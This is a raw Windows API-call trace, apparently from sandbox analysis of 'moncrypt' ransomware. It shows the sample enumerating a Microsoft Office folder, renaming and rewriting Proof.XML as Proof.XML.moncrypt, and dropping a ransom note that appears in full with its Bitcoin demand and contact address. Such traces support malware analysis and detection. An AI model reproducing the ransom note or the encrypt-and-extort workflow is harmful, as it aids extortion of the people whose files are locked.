dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@呤U企@\x18?T\x18\x88")) returned 0xffffffff [0048.544] GetLastError () returned 0x2 [0048.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.544] GetLastError () returned 0x2 [0048.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@蜄T企@\x18?T\x18\x97")) returned 0xffffffff [0048.545] GetLastError () returned 0x2 [0048.545] GlobalLock (hMem=0x440004) returned 0x555860 [0048.545] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.545] GlobalUnlock (hMem=0x440004) returned 0 [0048.545] GlobalLock (hMem=0x440004) returned 0x555860 [0048.545] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.545] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.545] GlobalUnlock (hMem=0x440004) returned 0 [0048.545] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.545] GlobalUnlock (hMem=0x44000c) returned 0 [0048.545] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.545] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.545] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.545] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.545] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.545] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.545] GlobalUnlock (hMem=0x44000c) returned 0 [0048.545] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.545] GlobalLock (hMem=0x440004) returned 0x557870 [0048.545] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.546] GlobalUnlock (hMem=0x44000c) returned 0 [0048.546] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.546] GlobalUnlock (hMem=0x440004) returned 0 [0048.546] GlobalLock (hMem=0x440004) returned 0x555860 [0048.546] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.546] GlobalUnlock (hMem=0x440004) returned 0 [0048.546] GlobalLock (hMem=0x440004) returned 0x555860 [0048.546] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.546] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.546] GlobalUnlock (hMem=0x440004) returned 0 [0048.546] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.546] GlobalUnlock (hMem=0x44000c) returned 0 [0048.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.546] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.546] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0048.546] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.546] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.546] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.546] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.546] GlobalUnlock (hMem=0x44000c) returned 0 [0048.546] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.546] GlobalLock (hMem=0x440004) returned 0x557870 [0048.546] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.546] GlobalUnlock (hMem=0x44000c) returned 0 [0048.546] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.546] GlobalUnlock (hMem=0x440004) returned 0 [0048.546] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.547] WriteFile (in: hFile=0x190, lpBuffer=0x1e61da8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61da8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.548] CloseHandle (hObject=0x190) returned 1 [0048.548] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\я")) returned 1 [0048.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0x54e280 [0048.549] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.549] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.549] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", dwFileAttributes=0x20) returned 1 [0048.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.moncrypt")) returned 1 [0048.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.550] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.550] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x543 [0048.551] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.551] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x543, lpOverlapped=0x0) returned 1 [0048.552] GlobalLock (hMem=0x440004) returned 0x555860 [0048.552] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.552] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.552] GlobalUnlock (hMem=0x440004) returned 0 [0048.552] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.552] GlobalUnlock (hMem=0x44000c) returned 0 [0048.552] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.552] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.552] GlobalUnlock (hMem=0x44000c) returned 0 [0048.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.564] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.564] CloseHandle (hObject=0x190) returned 1 [0048.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.564] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.564] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.564] GlobalUnlock (hMem=0x44000c) returned 0 [0048.564] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.564] GlobalLock (hMem=0x440004) returned 0x557870 [0048.564] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.565] GlobalUnlock (hMem=0x44000c) returned 0 [0048.565] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.565] GlobalUnlock (hMem=0x440004) returned 0 [0048.565] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69b38, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.565] GetLastError () returned 0x2 [0048.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.565] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.566] CloseHandle (hObject=0x190) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0048.567] GetLastError () returned 0x12 [0048.567] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.567] GlobalLock (hMem=0x440004) returned 0x555968 [0048.567] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.567] GlobalUnlock (hMem=0x440004) returned 0 [0048.567] GlobalLock (hMem=0x440004) returned 0x555968 [0048.567] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.567] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.567] GlobalUnlock (hMem=0x440004) returned 0 [0048.567] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.567] GlobalUnlock (hMem=0x44000c) returned 0 [0048.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e3bdea0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e3bdea0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.567] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.567] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.567] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.567] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.567] GlobalUnlock (hMem=0x44000c) returned 0 [0048.567] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.567] GlobalLock (hMem=0x440004) returned 0x557978 [0048.567] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.567] GlobalUnlock (hMem=0x44000c) returned 0 [0048.567] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.567] GlobalUnlock (hMem=0x440004) returned 0 [0048.567] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.568] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e3bdea0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e3bdea0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.568] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.568] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.568] GlobalLock (hMem=0x440004) returned 0x555968 [0048.568] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.568] GlobalUnlock (hMem=0x440004) returned 0 [0048.568] GlobalLock (hMem=0x440004) returned 0x555968 [0048.568] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.568] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.568] GlobalUnlock (hMem=0x440004) returned 0 [0048.568] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.568] GlobalUnlock (hMem=0x44000c) returned 0 [0048.568] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.568] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3bdea0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e3bdea0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e3bdea0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.568] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.568] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.568] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.568] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.568] GlobalUnlock (hMem=0x44000c) returned 0 [0048.568] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.568] GlobalLock (hMem=0x440004) returned 0x557978 [0048.568] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.568] GlobalUnlock (hMem=0x44000c) returned 0 [0048.568] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.568] GlobalUnlock (hMem=0x440004) returned 0 [0048.568] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.568] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML.moncrypt", cAlternateFileName="PROOFX~1.MON")) returned 1 [0048.568] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.568] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.569] GlobalLock (hMem=0x440004) returned 0x555968 [0048.569] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.569] GlobalUnlock (hMem=0x440004) returned 0 [0048.569] GlobalLock (hMem=0x440004) returned 0x555968 [0048.569] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.569] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.569] GlobalUnlock (hMem=0x440004) returned 0 [0048.569] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.569] GlobalUnlock (hMem=0x44000c) returned 0 [0048.569] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.569] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML.moncrypt", cAlternateFileName="PROOFX~1.MON")) returned 0 [0048.569] GetLastError () returned 0x12 [0048.569] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.569] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0048.569] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.569] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.569] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.569] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.569] GlobalUnlock (hMem=0x44000c) returned 0 [0048.569] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.570] GlobalLock (hMem=0x440004) returned 0x557978 [0048.570] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.570] GlobalUnlock (hMem=0x44000c) returned 0 [0048.570] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.570] GlobalUnlock (hMem=0x440004) returned 0 [0048.570] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.570] GlobalLock (hMem=0x440004) returned 0x555968 [0048.570] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.570] GlobalUnlock (hMem=0x440004) returned 0 [0048.570] GlobalLock (hMem=0x440004) returned 0x555968 [0048.570] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.570] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.570] GlobalUnlock (hMem=0x440004) returned 0 [0048.570] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.570] GlobalUnlock (hMem=0x44000c) returned 0 [0048.570] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.570] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es", len=0x58 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es") returned 1 [0048.570] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.570] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.570] GlobalUnlock (hMem=0x44000c) returned 0 [0048.570] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.570] GlobalLock (hMem=0x440004) returned 0x557978 [0048.570] GlobalHandle (pMem=0x555968) returned 0x44000c 